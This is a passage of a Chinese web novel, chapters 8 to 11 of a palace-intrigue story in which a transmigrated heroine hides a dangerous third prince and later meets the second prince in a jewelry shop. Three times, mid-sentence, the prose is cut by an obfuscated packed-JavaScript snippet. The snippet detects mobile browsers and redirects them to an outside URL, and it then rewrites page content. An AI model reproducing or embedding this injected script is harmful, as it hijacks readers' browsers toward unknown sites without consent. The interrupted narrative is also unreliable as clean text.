萧云景懒得跟脑子不好的人计较,他提笔开始给兄长写信,论他们兄弟两是如何被一个不知哪冒出来的阿呆,坑得差点阴沟了翻了船的。 “咚咚咚——”不一会儿,书房门口传来甚是有礼的三声敲门声,不大不小的声音,不快不慢的速度。 “……”萧云景当没听见,继续低头写信。 “咚咚咚——”隔了片刻,敲门声比方才高了些许,速度还稳在不快不慢的频率上。 “什么事。”他在心里叹了口气。 门口钻出一个小脑袋,挂着一个假装刚刚什么都没有发生过的笑,“你用不用早膳?” 林若妤摔门出去没一会儿就后悔了,她跟他置什么气? 谁给她的胆子摔三皇子的门?不就是骂了她一句吗,她还能少块肉不成?解药还想不想要了?还想不想苟到寿终正寝了? “膳食都放旁边的案上就行。”萧云景连眼神都懒得飘过去,他也算是悟了。 早膳不要一会儿还要来问午膳,午膳不要还要来问晚膳,不如一次性解决了。 “好嘞。”林若妤轻手轻脚地带上门,给他拿早膳去了。 等她又轻手轻脚的把早膳拿进来的时候,萧云景的信已经快要写好了。 他看向那个放了膳食又磨磨蹭蹭一步一停的人,眼神变得有些阴恻恻的。 “不是,你先别生气。”那股熟悉的寒意从脚后跟窜上来的时候,林若妤即便不看他此刻的神情也知道,她有危险。 可真不是她故意磨蹭的,她这不也是第一次在屋里藏个男人,没有经验嘛… 许多事情总是断断续续地想起来,这才断断续续地来打扰他。事出仓促,思虑不周,这也不能完全都…怪她吧? “说。”萧云景此刻的声音不带半分温度,他一个眼神都不想给她。 “你以后要是有什么想去又不好去的地方,可以扮作我的侍女,跟着我一同出去…” 连头都懒得抬的萧云景,只掀了掀眼皮,分明是一双狡黠妩媚的狐狸眼,可此刻看向她的眼神仿佛已经是在看一个死人。 “我只是好心…”林若妤想哭。 “出去。” 嘤…凶什么凶!你以后求我,我也不会帮你的!哼! 8. 第 8 章 昭明太子府。 萧长珏的手里拿着两封信,一封是他弟弟的,另一封是国公府大姑娘的。 他弟弟在信里告诉他,他被林国公府的二姑娘救了,这个二姑娘疑点颇多并且对林永安的事情知之甚深,对他们的计划有大用处。他决定暂留国公府二姑娘处,把事情查明白了再回来。还跟他要个靠得住的侍女,最好能是虞秋月。 而林国公府的大姑娘则告诉他,林永安勾结淮南王意欲谋反,她决定舍生取义留在国公府当他的眼线,只因为年少一面,情深意笃。不求最后能有什么结果,只求能为他做点什么。希望他能够相信她,最好能安排个靠得住的侍女去她身边,以便交互情况。 “……”太子沉默了。 林国公知道他这两个女儿背着他都干了些什么吗? 这不能是他们使出的反间计吧? 反间计若是做到这么明显的份上真的有人能上当吗? 站在下首处的女子安安静静地候在那里,一身红衣,身形窈窕,简单挽成的发髻上只点缀了一根深色的檀木簪,精致秀丽的五官反倒在这样朴素的打扮中越发脱俗。 只可惜,那双灵动可爱的鹿眼中,透着与之不相符的冰冷沉静。 “你也来看看吧。”他有些头疼地将手中地两封信往前一丢。 虞秋月这些年没少见他这副模样,郁躁,烦闷,苦楚。世人口中风光霁月的昭明太子,几乎没有一天不在殚精竭虑地应付京城里这些各自心怀鬼胎的老狐狸们。 云淡风轻这四个字他演了十年,哪怕在东宫里也日日喜怒不形于色。 是以,即便是一母所生,太子殿下与样貌极为摄人的三殿下也是不同的。 太子身上的气质让人第一眼总是注意不到他的长相,沉稳、温润、敦肃、克制,他长身而立、负手持扇的模样,便仿佛将大夏朝的风骨与精神扛在了肩上。 这样的一个人,也就只有对着她的时候,有这么片刻的功夫,能累,能烦,能苦。 虞秋月收回思绪,拿起桌边的纸,不消片刻便看完了两封信,也沉默了。 “依你看,到底是本宫的三弟那儿问题大些,还是林国公大姑娘那更不对劲些?”他丝毫不意外她的沉默,甚至饶有兴致地调侃了一句。 “三皇子怎么会有问题。”虞秋月端正神色反驳了他,又将两封信从头到尾看了一遍,皱眉,“倒是林国公府的两位姑娘,似乎都有些不对劲。” “说说看。” “三殿下素来多疑又最怕麻烦,林二姑娘若真如他信中所说,疑点颇多又对林国公之事知之甚深,人早该在暗牢了。” 后面的话虞秋月没说,但她知道面前坐着的那位比她更清楚。 结果三殿下不但没把人带回来,还把自己搭进去了。非但如此,甚至还准备再捎带自己。 若不是三殿下昏了头,就只能是这个林二姑娘,问题很深。 至于林大姑娘么。 虽然理由编的离谱了些,但结果很明显是反水了,毫无疑问。对上这种人只要留着一手谨防她再次反水,问题不大。 “你对三弟那儿更感兴趣些?”他似乎对这个答案不是很满意,又问道,“这个林大姑娘,说她倾心于本宫,你不觉得有问题?” 虞秋月不明白他何以有此一问,自己刚刚表述的已经很明白了,林二姑娘那儿的问题更大些,不是她对哪边感兴趣的问题。 更何况,林大姑娘说倾心于他难道不是仅仅为自己反水找个借口吗? 野心小一点或许只是想日后留住自己一条命,野心更大些或许在盯着未来皇后的位置,这种一眼就能看出的目的能有什么问题? “殿下,林大姑娘是否真的倾心于你都没有问题,她只是将宝压在了东宫。”虞秋月犹疑了一瞬,斟酌道,“若是殿下喜欢,她日后又没有异动,事成之后收入府中也不无不可。只是此人心术不正,不可为国母之选。” 萧长珏盯着她,“你放心,本宫日后一定好好挑选一位心术正的国母,到时候你可要帮着好好掌掌眼。” “国母之选需从长计议,大业未成,此刻说这些还为时尚早。不过既然林大姑娘直言林国公勾结淮南王意欲谋反,看来先前兵部走脱的那个弩箭技师确实带走了弩箭设计图。” 虞秋月见他不说话,便继续分析道,“如今之计,我们可以明面上继续封锁各路通道,严加排查,防止他们将弩箭设计图带出京城。暗地里却不必再打草惊蛇,只将搜查范围划定至兵部尚书府与林国公府,这么重要的东西,淮南王在将它送出京城前必定不放心交予旁人。” “……”萧长珏知道她说得很对,但就是不想接话。 “殿下以为如何?” 虞秋月见他神色不对,劝慰道,“属下是不是还有什么未曾顾虑到的地方?殿下不必过于忧心,这么短的时间,他们一定来不及转移图纸。更何况如今林国公府乱象已显,不足为惧。” 萧长珏原本是想让她去他三弟那儿的,诚如她所说,这个林国公府二姑娘的问题比大姑娘要大得多,弩箭设计图之事牵连甚广也不容他意气用事。 可她这副无波无澜的样子不知戳中他的哪根神经,让他偏偏想跟她拧着来。 “本宫以为,林大姑娘那儿的事情更不容有失一些。”他随手找了本书翻了两页,这才抬头看她,“说什么也是因为思慕本宫才肯为本宫涉险,其情可表,必得要你亲自看护。至于三弟那儿,若当真有需求就随便遣个人过去便是,你觉得呢?” 虞秋月思索了片刻,将他的话又来来回回想了几遍,才点头道,“既然太子殿下对林大姑娘有意,属下必好好护她安全,三皇子那儿安排流萤过去,殿下以为如何?” “罢了。”萧长珏面无表情地否了她的话,“还是你去三弟那,让流萤去林大姑娘那,事不宜迟,现在就去。” 虞秋月垂眸,这位殿下今日善变得有些过分了,去哪儿对她来说其实都没有区别,只是… “夜深露重不好打草惊蛇,不如等明日传消息进去让林大姑娘擢选侍女为好。” “也好,你看着办。”萧长珏没脾气了。 大业未成,局势错杂,他还什么也给不了她。 可即便如此,她也身先士卒地为他谋算,为他出生入死,他又这样惺惺作态给谁看呢。 虞秋月见他应下,松了口气,拱手告退。 三殿下在国公府的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487564|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情还是越少人知道越好,不是她不放心流萤,只是兹事体大,不能冒险。 也不知道三殿下查到了些什么,弩箭设计图之事非同小可,今夜她一定要在离开前严密部署,让一应人等做好接应准备。 林国公府,第二日一早林方雅就收到了东宫回信,太子殿下对她的告知表示了感谢,并叮嘱她千万保重自身,她的安全最为重要。以防万一,今日就会安排人入府贴身保护她。 林方雅捏着信,心里的大石头终于放了下来。 太子既然应允了要派人过来,不管心里信了她几分,到底也是让她搭上这条船了,她倒要看看,林若妤还怎么挡自己的路。 她心情大好,招呼红玉与绿幺进来,“告诉牙婆子们,今日送几个人进来,要质量好些能在姑娘们房里伺候的。” “是,姑娘。”红玉上前伺候她洗漱,绿幺也应声出去了。 “姑娘耳朵可真灵,一大早隔着这么远也能听着声。”红玉见她心情甚好的样子,胆子也大了些,一边帮她穿衣一边笑道。 “听见什么声?” “找牙婆子呀。”红玉半跪着给她系腰带,“二姑娘一大早就打发人来,说是要再选个婢女,我跟绿幺都以为您没…” “你说什么?”林方雅捏住她的手,温柔的声音此刻有些阴沉,“林若妤一大早就打发人来说要再选个婢女?” “是啊,姑娘。”红玉素来有些胆小,此刻看到自家姑娘的神情,有些害怕。 二姑娘不过是想选个婢女,姑娘怎么就跟要吃了人似的? 林方雅松开她,笑得愈发温柔,“好啊,到时候让她跟我一起去,二妹妹年纪小,我这个当姐姐的可得好好帮她挑一个合心意的才是。” “是,姑娘。”红玉连忙低头为她系好了腰带,安安静静地伺候洗漱,再不敢多话。 用完膳,林方雅端端正正在偏厅坐了半晌,王婆子带着几个瑟瑟缩缩的姑娘站在厅里也陪着候了许久,可最后等来的人却不是林若妤。 白露走到林方雅跟前,规规矩矩行了一礼,“大姑娘。” “怎么是你,二妹妹竟不亲自过来么。”林方雅笑的温和。 “回大姑娘话,姑娘吩咐,不过是选个婢女,不巧竟是跟大姑娘撞上了,等大姑娘挑选完了,奴婢见着哪个能干活就领回去,绝不给大姑娘添麻烦。” 林方雅端起案上的茶杯,轻抿了一口。上好的金丝雀舌,茶汤清冽,入口回甘。 这么巧?偏偏是在今天? “大姑娘?”那边王婆子讨好地冲坐在首座的少女笑了笑。 林方雅点了点头,“叫她们自己报上名来。” 毫不意外的,她听到了流萤的名字,那个太子在信中提到的人。 等绿幺接了她的指示领了流萤站在一旁后,白露行了一礼,只是扫了一眼人群,似乎就那么随便指了个人,准备带着一起离开。 “大姑娘,奴婢告退。” 林方雅看着那两个即将消失在屏风后的背影,捏紧了掌心。 她这个二妹妹,什么都好,就是不听劝啊… “等等。” 她不紧不慢的开口,“那个也给我留下。” 9. 第 9 章 林方雅抢了她那位二妹妹的侍女后一直未做安排,只是好吃好喝的将人养在了听雪阁。 尽管流萤已经反复跟她说了许多次,她真的不认识那个女子,自家主子除了她也没再安排别的人进国公府,林方雅听完也只是笑笑。 虽说当场白露就又另领了个女婢回去,但她就是不信这世上有这么巧的事情。 可等了两三天,也没能等到她二妹妹那边的任何动静。 另一边,被听雪阁惦记了许久的林二姑娘,此刻正躺在青玉阁的院子里纳凉。 她看着在一旁给她扑扇的白露,叹了口气,“真的非去不可吗?到底为什么要办诗社?” “姑娘及笄那日太子来得突然,咱们又走得早不知道,听小丫鬟们说,刘尚书家的大姑娘那天在宴上赋了一首诗,连太子殿下听了都夸了句好呢。” 白露一边打扇一边耐心给她解释,“因着沈相家的二姑娘说这诗是她早备下了的,不算即兴所创,这才约了七日后再摆一场诗社的,大家伙都得去。到时候太子殿下都要去给各位姑娘们当裁判,评首席,定彩头呢!” “刘尚书?兵部的那个刘尚书家的大姑娘?”她从躺椅上起身,拉住白露的手。 “是呀。”白露肯定地点了点头。 又是她没看过的剧情,林若妤她心好累。 这种主要人物都集齐了的诗社,作者到底为什么觉得它没有可写之处?!为什么她通篇看下来就只看到男女主从吵架和好到再吵架再和好?就不能关注一下反派们的内心活动吗? “刘家大姑娘作了什么诗能让太子殿下也夸好?”林若妤蔫蔫地问道。 白露沉吟片刻,“记不大清了,总之是给姑娘你贺岁的,最后一句好像是什么…岁岁春无事,相逢总玉颜。据小丫鬟们说,这句还是太子殿下单拎出来又念了一遍的。” “学问可真好。”林若妤叹了口气,原来会作诗也可以在主角团那里留下姓名吗?她如果早一点知道,一定把唐诗三百首都默一遍!也不会落得如今这个下场。 白露见她唉声叹气,愁的连点心也没胃口吃,给她出主意道,“姑娘若不想作诗,不如去买些彩头,到时候就说自己身子不适,聊表歉意也好啊。” “这也可以嘛?”林若妤略提了几分精神,“可不是说彩头由太子殿下定么?” “太子殿下定的是头彩,姑娘可以购置添彩啊。”白露见她来了精神,也笑,“姑娘忘啦?沈二姑娘从前碰上不爱玩的东西的时候都是这样的,姑娘从前还同我说过呢,这叫…花钱买清净。” “这个好呀,你吩咐去备车,咱们现在就去挑彩头。”属实是意外之喜了,她原本还真有些发愁不会作诗该怎么办呢。 林若妤拉着白露就往外走,却莫名被一只不知从哪飞来的石子打中了后背。 “……”她咬牙停住,嘱咐白露道,“你先在这里等我会儿。” “怎么…”白露见她有些憋闷地往回走,一下子就明白了,在原地担心地看着她进房关上了门。 姑娘的胆子真是越来越大了,在自己屋里藏个人不说,难道还要带出去吗? “咚咚咚——”耳房门口响起熟悉的甚是有礼的三声敲门声,不大不小的声音,不快不慢的速度。 “进。” 林若妤听着这声不阴不阳不咸不淡的声音,深深吸了口气,轻轻推开门,站在门口看向那个仿佛永远都在写字看书的人,“三殿下找我有事?” 自从女主被她那位大姐姐截胡,而这位三皇子不但毫无作为还阻止她去要人后,林若妤已经单方面跟他冷战了三天。 这三天里除了给他送饭,她一步都没踏进过这个耳房。 哼,阻碍她跟女主建立友谊的都不是什么好人。 “我跟你一起出去。” “不方便。”林若妤拒绝得极快,还偷偷白了他一眼。 萧云景连头都没有抬,只淡淡笑了声,“你可能不太了解我。” “……?”我可能比你想象得要更了解你一点。 “皇家有个暗牢。只要进了牢里的人,除了当今圣上,谁也不能再把人给捞出来。”他似乎终于写完了,放下笔,捋了捋袖口。 “牢里有多少种刑罚如今的皇室已经没有人记得了。没有任何一个人能把全部的刑罚受完,不是受不住死了,就是受不住招了。” 呵。 林若妤面上没有反应,心里却在不屑。 吓唬小孩?怎么,她不带他出门,他还能把她投入暗牢不成? 萧云景略往后靠了靠,抬眼看向那个倚在门边一脸不服的小女子,“一百零八种。是个吉利的数字,我很喜欢。” 需要她夸一句他记性真好吗?她忍住翻白眼的冲动,就是不接话茬。 “当初为了凑齐这个数字,我翻阅各种古籍,想了整整一个月,才想出了不重样的一百零八种刑罚。”他起身,慢慢向她走去,“你猜,我现在还能记得几个?” “……”林若妤不想猜。 她知道这是个变态可她真不知道他居然这么变态! 暗牢她知道啊,书里写的就像他说的一样,只要有不听话的,扔进去没几天就听话了。几乎没有活着从里面走出来过一个人。 可书里没说这个只有两个字的暗牢居然能玩出一百零八种花样啊!书里也没说这个让人闻风丧胆的暗牢是这位祖宗建的啊! “真的不方便,您不必吓唬我,哪用得着什么刑罚,我还等着您给我解药呢。” 她缓了口气,忍住咳嗽的冲动,湿漉漉的眼睛分外诚恳地看着他,“您不肯扮侍女,国公府的府卫又都是父亲的人,我就是本事再大,也不能在父亲的人眼皮子底下带一个人出去不被发现,您说呢?” “我今天刚知道一个有意思的事,你想不想知道?”萧云景略略弯腰,与她平视。 “什么事。”林若妤努力稳住表情。 “你那位大姐姐,也说甚是爱慕太子。虽说不知道你们林国公府的姑娘怎么都盯上了东宫,不过如果你总让我觉得这么费劲…” 不出所料,眼前的人面上的镇定有些崩塌,他饶有兴致地继续说道,“你姐姐看起来好像没你这么费劲。” 林若妤她心好累。 这个林方雅,一定是跟她八字不合吧… 一个为了当二皇子妃毒死了亲妹妹的人,怎么就又盯上太子了呢?难道是在她的及笄礼上对太子一见钟情了?那二皇子妃谁来当?总不能又回过头来又指望她吧? “你说过作为你的救命恩人,你要留我一条命的…” “所以?” “所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487565|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以你真想去找姐姐就去吧,把解药给我留下就行。” 人如果被逼到了绝境,又或者心累到了一定地步,就会只想躺平了,用古话来说就是,破罐破摔。 实在不是她不想抱主角团的大腿了,实在是这个变态她受不了了。一见面就喂毒药,动不动就威胁人,整天阴阳怪气的。 她姐姐说爱慕太子?太好了呀。 她这就去找她姐姐,劝她一起给她爹下毒!只要毒死了林永安,她们姐妹俩这辈子就再也跟反贼扯不上关系了! 什么二皇子三皇子太子的,她一个都不想沾了。 姐姐喜欢?跟她有什么关系?她又不喜欢。不伺候这群大爷了,爱咋咋地。 只可惜,林若妤的运气实在不太好。 今天站在这里的若是淮南王萧云峥,或许会觉得她有性格有坚持,从此这个人在他心里再也不是一个可有可无的工具人,正式开启一段女配上位记。 若是太子萧长珏呢?听完之后或许会觉得这个小女子实在是不容易,这么长时间确实是自己有些过分了,话都说到这个份上了,给她解药,大家好聚好散吧。 偏偏,是萧云景。 他看着她这幅无赖模样,若有所思的点了点头,笑了,“那就下辈子见。” 嫌他碍事?想摆脱他?还想全身而退? 做梦呢,林二姑娘。 “英雄留步!”林若妤想都没想地扑了过去,动作比脑子快了太多的结果就是,等她反应过来的时候,她已经挂在了他的小腿上。 “……” 不怪她,真的。 他说完下辈子见几乎是扭头就走,如果不是她扑得快只怕真的要下辈子再见了。 “怎么?”萧云景慢慢蹲下,对上那双满是委屈的眼睛,似笑非笑,“你还有什么遗言想要英雄帮你转达给谁吗?” “三殿下…”她调整措辞,努力让自己的笑显得诚恳,“我方才又想了想,觉得你去找我大姐姐实在不是个明智的决定。” “哦?”萧云景扒开她的手,坐到了桌边,敲了敲桌子,等着她的下文。 林若妤也迅速从地上起来,过去给他倒了杯茶,赔笑,“您想啊,谁盯上东宫有什么要紧,要紧的是,谁能帮你办成大事。我大姐姐能给您指明反贼的方向吗?” “唔。”他接过茶,沉思。她能啊,她甚至谋划得周密稳妥,不似眼前这位,横冲直撞的,整天琢磨着给亲爹下毒。 “再说了,我大姐姐野心勃勃,日后若是进了东宫,必要搅得太子后院失火,这不管是对您还是对太子,都不是长久之计。” “你盯上太子,就不是野心勃勃了?” “我…那是默默奉献,不求结果的。” “呵。”装的还挺深情,他好整以暇地坐下,“可是你大姐姐能带我出去。” “我也能啊!现在就走。” “会不会不太方便?我又不能扮作侍女,你身边的府卫又全是你爹的人,你就是有天大的本事,也不能保证我不被发现啊。” “……”知道还这么折腾!活活是要逼死她吗?! “你这么为难,不如我还是去找…” “不为难。”林若妤咬牙,一点也不为难。 “那走吧。”萧云景满意地放下茶杯,向外走去。 10. 第 10 章 等到林若妤领着人坐在马车上的时候,才略略舒了口气。 她原本对带他出去这件事是一点都没有谱的,毕竟…他太招人了! 且不说那双眼睛,只要见过一次,从今往后这人就算化成飞灰只剩了那一对招子,她也能一眼认出这是他的灰! 眼角尖细下垂,眼角微微上翘,细窄的双眼皮恰到好处的勾勒着眼型,狭长的眼睑中一双琥珀色的瞳孔,面无表情时让人看了就害怕,可偏偏他总一副似笑非笑的模样,生生透着股勾人的劲。 不是她夸张,这个人要是不说话,透着笑意的眼神,看条狗都是一副深情款款的样子!她不知道他这七年究竟是怎么隐匿隐忍下来的,她也不想知道。 在她爹的眼皮子底下藏人固然不容易,可她拼死抵抗并非是做不到,而是不想有人透过那双眼睛认出他后牵连到自己罢了。 毕竟,万一事发,三皇子的命有太子去保,她的小命可没人保。 好在,常年奔逃的人果然有逃命的觉悟。出青玉阁前,林若妤见他拿了一根细长的针,在眉间眼角扎了几下,原本摄人的眉眼竟莫名平庸了下去。 直到被他拿着长针的手挡了回去,她才猛然惊醒,她刚刚走神期间,居然试图凑近了研究这个变态的脸! 就连深受其害的她都对这现在副模样的萧云景放松了警惕,林若妤突然就放心了。 今天也是保住了小命的一天,耶。 马车上,萧云景盯着面前出神的人,眸色不善。 正在胡思乱想的林若妤似有感应一般,看了他一眼,见他面色阴沉,以为他还在为了药箱的事闹脾气,便尽可能缓和了语气,把药箱递了过去,谄笑着劝他,“事已至此…” 他闭目往后靠,一副不想再跟她多说一个字的样子。 林若妤掐着手心笑问,“怎么了这是?” 明明自己来无影去无踪的,偏偏在这为难她一个小姑娘,她去哪儿他要是想跟着,偷偷跟着就是,为什么偏偏要这么光明正大的跟着? 她绞尽了脑汁才终于给他掰扯了一个像那么回事的身份——府医。 他还不满意?他到底有什么资格不满意? “这个药箱很蠢。”萧云景眼皮都没抬,他不想多跟她解释他的计划,他只是需要一个能光明正大跟她出门的身份,随她怎么编都行,可给他添麻烦却不行。 让他背药箱?做梦。 “……”林若妤咬牙笑着将药箱放下,行,您是大爷,您不爱背就不背。 “兵部尚书府的诗会,我跟你一起去。” “那你得背药箱。” “……” 惯会得寸进尺的某人仿佛从他的沉默中读出了一行字,‘再多说一句就弄死你’,于是也悄悄缩在角落,不再进一步招他。 马车走了一会儿,沉默了半晌的萧云景突然开口道,“把手伸过来。” “做什么?”她应声缩回手,警惕地看着他,该不会这人越想越气,想从她手上偷偷放只什么追魂夺命蛊之类的东西泄愤吧。 “府医,当然是看病。”他扯过她的手腕。 就他?看病?要命还差不多吧。 林若妤见对面的人竟似乎真的像模像样的为她把起脉来,越想越觉得不对劲,“我该不会是要毒发了吧?你这是在算着日子看要不要给我解药?” 萧云景淡淡扫了她一眼,眸中的冷意让原本又有些张牙舞爪迹象的人瞬间乖巧安静了下来,他垂了眼帘,继续给她把脉。 虚浮、紊乱,半死不活的脉象倒确实是一副命不久矣的样子。 “你到底为什么非要跟我一起出门啊?”马车晃晃悠悠的让人有些头晕,或许是垂眸把脉的萧云景看上去实在太无害了,林若妤迷迷糊糊地,竟将心中的疑问说了出来。 她不理解,这种查探的事情不是应该越低调越隐蔽越不露痕迹的查无此人最好吗? 萧云景收回手,闭上了眼睛。 兵部尚书府不比国公府,那么个三进三出带个花园的小院子,要办诗社,要接待太子,更别说指不定还真藏了点什么东西。 他萧云景再厉害,也是人,不是神,光天化日,哪里就真的能来无影去无踪。 还是要借力。 借的力越在高处便越扎眼,越在低处便越惹人排查。 如林国公府二姑娘这种既有一定身份,在外人看来又过于废物且于大局又无足轻重的人,只要被捏住了命脉,就是他最好借的力。 要借这个力,他这个人就不能是突然出现的,要谁都有点印象,细细一想会记得他确实是一直跟着林二姑娘的,这才不会引人怀疑。 最重要的是,他想亲眼看看,这位林二姑娘的葫芦里,到底卖的什么药。 人在绝对弱势时,是不会动歪心思的。 可若是形式转变了呢? 只有将一个人捧上手握生杀大权的高位,才能真的看清楚这个人究竟对你怀着怎样的心思。 “姑娘,珍宝坊到了。”白露在外面敲了敲车厢,轻声提醒。 林若妤知道,他为什么一定要跟着自己这个问题,他是不会回答自己了,便眼神示意他接过药箱,见眼前的人阴沉着脸还是接了过去,她在心里偷笑。 哼,乖乖跟上吧,小府医。 萧云景背上药箱,也不曾错过她眼底闪过的狡黠,也心下冷笑,瞧瞧,权力不过刚刚握到手中,小狐狸的尾巴便迫不及待地露出来了一点呢。 午后的珍宝坊内珠光氤氲,檀木展柜错落排列,各式金玉首饰琳琅满目。 林若妤缓步穿行其间,挑选许久也只挑了一副圆润莹泽的淡水珍珠耳饰,又随手取了一只配色雅致的珐琅彩镯子。 她打量半晌,只觉得林国公当真是被主角团弄死的不冤,她一个不受宠的二小姐甚至觉得城内最好的珠宝行的首饰比不上自己妆奁里的。 瞥见在门口垂眸顺眼等着的萧云景,她越发无意久留,收好两样物件,便打算转身离去。 恰在此时,身着锦缎长衫的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487566|202101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌柜快步走上前来,态度恭敬又透着几分神秘,躬身轻声开口:“林姑娘,小店今日刚到一件孤品高货,乃是全城难寻的上等好物,极为别致难得。寻常客人我不曾拿出,瞧着姑娘眼光不俗,不知可否移步一观?” 林若妤本是半点多余的心思也无,她深知一个炮灰想要安稳度日,不论在何时,低调避嫌才是上策,节外生枝于她而言绝非好事。 正要婉言回绝掌柜的好意,余光却瞥见珍宝坊门口立着的那人,身形依旧挺拔难掩,明明低着头似在打量门旁的摆件,目光却绕了个弯,若有似无地朝她这边瞥了一眼。那眼神极淡,却分明往内室暼了一眼。 林若妤心头一噎,方才还平顺的气息骤然乱了,喉间一阵发痒,忍不住低低咳嗽了两声。 想骂人,真的。到底是谁需要不引人注目啊!他还有这个闲情逸致挑上首饰了?她压下喉间的不适,对着掌柜缓声开口:“既然是难得的孤品,那便去看看吧。” 走了两步又仿佛想起了什么,向门口招呼道,“我有些不适,劳烦…于大夫跟我一同进去吧。” “是,二小姐。”萧云景垂眸跟了上来。 林若妤眨了眨眼睛,厉害啊,不愧是主角团,能屈能伸的,真的装低眉顺眼起来,还真挺像那么回事。 她带着白露和萧云景默不作声地跟在掌柜身后,穿过精致的雕花月门,缓步走入珍宝阁专供接待贵客的僻静里间。 这里隔绝了外间的喧闹,陈设雅致清幽,檀香浅浅萦绕,是寻常客人不得踏入的地界,只用来安置身份尊贵的主顾。 只是,原以为内里空无一人,可脚步刚踏入房中才发现,里间的梨花木桌旁,竟早已坐着一位锦衣公子。 那人一身华纹锦衣料子上乘,墨发束玉,身姿端雅,眉眼清隽冷贵,周身自带浑然天成的世家气度,也恰巧在此挑选物件。 可狭路相逢,空间静谧狭小,骤然撞见陌生贵胄,林若妤指尖微紧,心底无出几分局促与不自在。 这个掌柜也真是…有人在看了还引她进来。 “既已有贵客,小女便不叨扰了”林若妤转身想走,却被身后的人叫住。 “若妤妹妹,这是又生本王的气了?” 林若妤脚下一顿,下意识敛了神色,心头莫名一紧,隐约察觉到,这根本不是巧合,从掌柜挽留,到执意让她入内,从头到尾都是一场刻意的安排。 等细细琢磨身后人在说什么后,只觉得一股凉意自后背蔓延而上。 若妤妹妹??本王??这个她不认识的人不会就是二皇子萧云峥吧? 她背对着他,看着跟在白露呵白芷身后,略低着头的萧云景,心口一窒,忍不住低低咳嗽起来,脸色也添了几分苍白。 她完了,她把主角团亲手送到反派面前了。 “身子不好,还爱置气。”萧云峥似乎无奈地笑了,“今日瞧上了什么,本王都买下来送给你,可好?” 呜呜呜,好还是不好啊? 林若妤她心好累。 11. 第 11 章 电光火石之间,她来不及多想,下意识侧身半步,不动声色地挪了方位,脊背微侧,恰好以自己单薄的身形挡在里间的门口。 她看似随意地拢了拢衣袖,漫不经心地将门外萧云景的身影严严实实地隐在身后,面上确是嗔怪道,“云峥哥哥连若妤的及笄礼都不曾到场,谁敢生你的气。” 不嗔怪不行啊,呜呜呜,她跟姐姐争了那么多年的男人,她说不爱就不爱了谁信啊。 门外廊下,光影浅淡。 萧云景立在阴影里,目光沉沉落在里间门口那道纤细单薄的身影上。 眼见林若妤不动声色地挡在前方,恰好将他完完全全隔绝在萧云峥的视线之外,他微微一怔,狭长的眼眸轻轻眨了眨。 下一瞬,他又望着她脊背紧绷、一副被逼无奈、近乎舍生取义般的模样,万般不情愿地转过身,缓步朝着屋内的萧云峥走去。 这般别扭又笨拙的小动作落入眼底,萧云景冷冽淡漠的唇角,微微弯起一抹极淡的弧度。 整座珍宝坊本就是他暗中名下的产业,掌柜更是他一手安排的心腹。在默许掌柜引她入里间之前,他早已预想过她各式各样的反应。 或欢喜不已,或是局促不安,或是刻意逢迎,或是…出卖了他。可唯独眼前这一幕,完完全全超出了他的预料。 谁不知林国公府的二小姐痴心执念,为了二皇子萧云峥闹得差点连命都丢了。可偏偏此刻朝思暮想的心上人近在咫尺,她竟然…不认识。 萧云景垂在身侧的指尖轻捻,这般意料之外的变故,这个林二姑娘,倒真是…越来越有意思了。 里间暖香萦绕,萧云峥端坐在梨花木案前,锦衣玉带,看着缓步走近的林若妤,他眉目温和,端起一副温润世家公子的模样,面上带着恰到好处地无奈与歉意,语气恳切又得体,“你的及笄礼怎么能忘,本是要亲自过去为你贺礼的。” 说着叹了口气,“奈何近日朝中公务缠身,宫中接连下达差事,琐事繁杂,日日不得空闲,实在分身乏术。再加之上月偶感风寒,身子迟迟未能全然痊愈,医嘱叮嘱需静心静养,不宜赴宴应酬,这才错过了。” 林若妤敛了敛心神,缓步走到他身侧落座,眉眼间漾起恰到好处的担忧,目光关切,轻声问道,“原来如此。那云峥哥哥如今身子可好些了?既未痊愈,又何苦出门奔波,不多在府中静养歇息呢?” 萧云峥闻言轻笑一声,自手边的盒中取出一支精致玉簪,缓缓递到她面前,那是一支上好的白玉梅花簪,质地莹润皎洁,触手生温。 “知晓错过了你的及笄礼,心中一直过意不去,便想着亲自来珍宝坊,为你挑一件合心意的首饰赔罪。倒是没想到,会在此处与你偶遇。” 他温声开口,眼神温和,“你且瞧瞧,这支簪子,可还入得了你的眼?” 林若妤接过玉簪,通体白泽无瑕,玉质细腻通透,簪头精雕折枝寒梅,朵朵花瓣玲珑纤巧,枝桠错落有致,凝着一身清寒傲骨。簪身素净无缀,不镶珠玉,不施繁饰,只凭雕工取胜,清雅脱俗,温润雅致,确是难得一见的好物。 她指尖摩挲着微凉玉面,心底暗自轻叹。 来了。 